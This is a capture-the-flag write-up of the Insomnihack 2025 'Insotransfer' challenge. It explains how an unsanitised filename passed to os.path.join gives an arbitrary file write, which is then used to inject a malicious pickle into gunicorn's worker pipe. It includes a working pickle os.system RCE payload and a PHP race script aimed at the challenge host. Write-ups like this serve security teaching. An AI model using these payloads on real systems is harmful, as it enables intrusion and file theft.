keyboard_arrow_up

title: Insomnihack 2025 Finals - Insotransfer
date: Mar 18, 2025
tags: writeups insomnihack


Insomnihack 2025 Finals - Insotransfer

Description

Didn't save the description, sorry ¯_(ツ)_/¯

Solves

3/115

Kudos

This challenge was flagged with platists from TheFlagNetworkSociety :

Side notes

Note that we didn't solve the challenge as expected by the author; normally, we should have exploited it a bit like what was shown on NodeJS by Stefan Schiller @HEXACON24.

Write Up

Challenge features

This challenge expose three simple routes :

The flag is located at /flag.txt meaning that we must gain arbitrary file read or RCE in order to get it.

The bug

The download route is safe :

@app.get("/download/{uuid_val}")
def view(uuid_val):
    try:
        u = str(uuid.UUID(uuid_val, version=4))
        d = os.path.join(UPLOAD_DIR, u)
    except:
        raise HTTPException(status_code=500, detail="Supplied value is not a valid UUID")
    if not os.path.isdir(os.path.join(UPLOAD_DIR, u)):
        raise HTTPException(status_code=404, detail="UUID not found")
    try:
        filename = os.listdir(d)[0]
        return FileResponse(os.path.join(d, filename))
    except:
        raise HTTPException(status_code=500, detail="Something went wrong")

However, the upload route is vulnerable to arbitrary file write :

@app.post("/upload")
def upload(file: UploadFile):
    try:
        contents = file.file.read()
        uuid_val = str(uuid.uuid4())
        folder = os.path.join(UPLOAD_DIR, uuid_val)
        os.mkdir(folder)
        file_path = os.path.join(folder, file.filename) 
        with open(file_path, "wb") as f:
            f.write(contents)
        return {"uuid": f"{uuid_val}"}
    except:
        raise HTTPException(status_code=500, detail="Something went wrong")

In fact, the application is using the given filename without any sanitization in the os.path.join function which acts in certain case in an exploitable way:

$ python3
>>> from os.path import join
>>> from os.path import join
>>> print(join("/home/worty","/etc/passwd"))
/etc/passwd

Therefore it's possible to overwrite any files in the docker environement, but taking a closer look at the docker-compose file reveals that it's a read-only docker :

name: insotransfer

services:
  app:
    build: .
    read_only: true
    tmpfs:
      - /upload/
      - /tmp/
    restart: always
  nginx:
    image: nginx:latest
    ports:
      - "8000:80"
    volumes:
      - ./nginx/default.conf:/etc/nginx/conf.d/default.conf:z
    depends_on:
      - app
    restart: always

The only writable folders (or file descriptors) are :

I deliberately omitted part of the code at the beginning of the file, in fact, the application is acting weirdly, the following middleware is executed for every HTTP request received :

@app.middleware("http")
async def renew_worker(request: Request, call_next):
    response = await call_next(request)
    os.kill(os.getpid(), signal.SIGTERM)
    return response

The application is killing the worker that was responsible for handling the user's request, after that, gunicorn (behind fastapi) will start a new worker. Using strace on the parent PID shows us what's exactly happening at this time:

$ strace -ff -p 20985 2>&1 -e trace=pipe2,write
[...]
write(2, "      INFO   Waiting for child p"..., 45) = 45
write(2, "      INFO   Child process [133]"..., 38) = 38
[...]
pipe2([205, 209], O_CLOEXEC)            = 0
[...]
[pid 20985] write(209, "\200\4\225\25\2\0\0\0\0\0\0}\224(\214\rlog_to_stderr\224\211\214"..., 3068) = 3068

There are two things to note here:

As we saw earlier, the application is vulnerable to arbitrary file write, and there's nothing to stop us writing to /proc/1/fd/205. The attack plan is therefore as follows:

For that, we craft the pickle payload using the following script :

import pickle
import os
import struct

class Pwn:
    def __reduce__(self):
        return (os.system, ("mkdir /upload/a787360f-fb9a-488e-b08b-30bff2887445/; cp /flag.txt /upload/a787360f-fb9a-488e-b08b-30bff2887445/",))

payload = pickle.dumps(Pwn(), protocol=4)
with open("payload", "wb") as f:
    f.write(payload)
    f.write(b"\n")

Then, we use the following script (made by XeR, (of course it's PHP)) to win the race:

<?php
const URL = "https://insotransfer.insomnihack.ch/upload";

$curl = curl_init(URL);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$fd = 205;
while(true) {
        curl_setopt($curl, CURLOPT_POSTFIELDS, [
                "file" => new CURLFile("payload", "image/png", "/proc/1/fd/$fd"),
        ]);

        $ret = curl_exec($curl);
        printf("%d\t%s\n", $fd, $ret);

        if(str_contains($ret, "uuid") || str_contains($ret, "Something"))
                $fd++;

        if($fd > 210)
                $fd = 105;
}

PoC of the vulnerability

Flag

INS{But_1t_W4s_just_a_P1p3!}